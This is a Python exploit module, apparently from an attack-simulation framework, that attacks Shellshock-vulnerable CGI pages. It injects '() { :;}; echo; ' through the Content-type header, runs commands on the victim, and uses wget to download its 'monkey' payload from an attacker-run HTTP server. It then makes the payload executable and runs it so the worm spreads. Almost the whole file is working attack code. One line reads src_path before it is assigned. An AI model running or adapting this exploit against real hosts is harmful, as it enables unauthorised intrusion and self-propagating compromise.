210 lines
8.7 KiB
Python
210 lines
8.7 KiB
Python
# Implementation is based on shellshock script provided https://github.com/nccgroup/shocker/blob/master/shocker.py
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import logging
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import string
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from random import choice
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import requests
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from exploit import HostExploiter
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from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
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from model import MONKEY_ARG
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from shellshock_resources import CGI_FILES
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from tools import build_monkey_commandline
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__author__ = 'danielg'
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LOG = logging.getLogger(__name__)
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TIMEOUT = 2
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TEST_COMMAND = '/bin/uname -a'
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DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
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class ShellShockExploiter(HostExploiter):
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_attacks = {
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"Content-type": "() { :;}; echo; "
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}
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_TARGET_OS_TYPE = ['linux']
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def __init__(self, host):
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super(ShellShockExploiter, self).__init__(host)
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self._config = __import__('config').WormConfiguration
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self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
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self.success_flag = ''.join(
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choice(string.ascii_uppercase + string.digits
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) for _ in range(20))
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self.skip_exist = self._config.skip_exploit_if_file_exist
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def exploit_host(self):
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# start by picking ports
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candidate_services = {service: self.host.services[service] for service in self.host.services if
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self.host.services[service]['name'] == 'http'}
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valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in self.HTTP if
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'tcp-' + str(port) in candidate_services]
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http_ports = [port[0] for port in valid_ports if not port[1]]
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https_ports = [port[0] for port in valid_ports if port[1]]
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LOG.info(
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'Scanning %s, ports [%s] for vulnerable CGI pages' % (
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self.host, ",".join([str(port[0]) for port in valid_ports]))
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)
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attackable_urls = []
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# now for each port we want to check the entire URL list
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for port in http_ports:
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urls = self.check_urls(self.host.ip_addr, port)
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attackable_urls.extend(urls)
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for port in https_ports:
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urls = self.check_urls(self.host.ip_addr, port, is_https=True)
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attackable_urls.extend(urls)
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# now for each URl we want to try and see if it's attackable
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exploitable_urls = [self.attempt_exploit(url) for url in attackable_urls]
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exploitable_urls = [url for url in exploitable_urls if url[0] is True]
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# we want to report all vulnerable URLs even if we didn't succeed
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self._exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls]
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# now try URLs until we install something on victim
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for _, url, header, exploit in exploitable_urls:
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LOG.info("Trying to attack host %s with %s URL" % (self.host, url))
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# same attack script as sshexec
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# for any failure, quit and don't try other URLs
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if not self.host.os.get('type'):
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try:
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uname_os_attack = exploit + '/bin/uname -o'
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uname_os = self.attack_page(url, header, uname_os_attack)
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if 'linux' in uname_os:
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self.host.os['type'] = 'linux'
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else:
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LOG.info("SSH Skipping unknown os: %s", uname_os)
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return False
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except Exception as exc:
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LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc)
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return False
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if not self.host.os.get('machine'):
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try:
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uname_machine_attack = exploit + '/bin/uname -m'
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uname_machine = self.attack_page(url, header, uname_machine_attack)
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if '' != uname_machine:
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self.host.os['machine'] = uname_machine.lower().strip()
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except Exception as exc:
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LOG.debug("Error running uname machine commad on victim %r: (%s)", self.host, exc)
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return False
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# copy the monkey
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dropper_target_path_linux = self._config.dropper_target_path_linux
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if self.skip_exist and (self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
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LOG.info("Host %s was already infected under the current configuration, done" % self.host)
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return True # return already infected
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src_path = src_path or get_target_monkey(self.host)
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if not src_path:
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LOG.info("Can't find suitable monkey executable for host %r", self.host)
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return False
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http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
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if not http_path:
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LOG.debug("Exploiter ShellShock failed, http transfer creation failed.")
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return False
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download_command = '/usr/bin/wget %s -O %s;' % (
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http_path, dropper_target_path_linux)
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download = exploit + download_command
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self.attack_page(url, header,
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download) # we ignore failures here since it might take more than TIMEOUT time
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http_thread.join(DOWNLOAD_TIMEOUT)
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http_thread.stop()
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if (http_thread.downloads != 1) or (
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'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
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LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
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continue
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# turn the monkey into an executable
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chmod = '/bin/chmod +x %s' % dropper_target_path_linux
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run_path = exploit + chmod
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self.attack_page(url, header, run_path)
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# run the monkey
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cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
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cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
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run_path = exploit + cmdline
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self.attack_page(url, header, run_path)
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LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
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self._config.dropper_target_path_linux, self.host, cmdline)
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if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
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LOG.info("Log file does not exist, monkey might not have run")
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continue
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return True
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return False
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@classmethod
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def check_remote_file_exists(cls, url, header, exploit, file_path):
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"""
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Checks if a remote file exists and returns the content if so
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file_path should be fully qualified
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"""
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cmdline = '/usr/bin/head -c 4 %s' % file_path
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run_path = exploit + cmdline
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resp = cls.attack_page(url, header, run_path)
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if resp:
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LOG.info("File %s exists on remote host" % file_path)
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return resp
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def attempt_exploit(self, url, attacks=_attacks):
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# Flag used to identify whether the exploit has successfully caused the
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# server to return a useful response
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LOG.debug("Attack Flag is: %s" % self.success_flag)
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LOG.debug("Trying exploit for %s" % url)
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for header, exploit in attacks.iteritems():
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attack = exploit + ' echo ' + self.success_flag + "; " + TEST_COMMAND
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result = self.attack_page(url, header, attack)
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if self.success_flag in result:
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LOG.info("URL %s looks vulnerable" % url)
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return True, url, header, exploit
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else:
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LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header))
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return False,
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@staticmethod
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def attack_page(url, header, attack):
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result = ""
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try:
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LOG.debug("Header is: %s" % header)
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LOG.debug("Attack is: %s" % attack)
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r = requests.get(url, headers={header: attack}, verify=False, timeout=TIMEOUT)
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result = r.content
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return result
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except requests.exceptions.RequestException as exc:
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LOG.debug("Failed to run, exception %s" % exc)
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return result
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@staticmethod
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def check_urls(host, port, is_https=False, url_list=CGI_FILES):
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"""
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Checks if which urls exist
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:return: Sequence of URLs to try and attack
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"""
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import requests
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attack_path = 'http://'
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if is_https:
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attack_path = 'https://'
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attack_path = attack_path + str(host) + ":" + str(port)
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attack_urls = [attack_path + url for url in url_list]
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reqs = [requests.head(u, verify=False, timeout=TIMEOUT) for u in attack_urls]
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valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok]
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urls = [resp.url for resp in valid_resps]
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return urls
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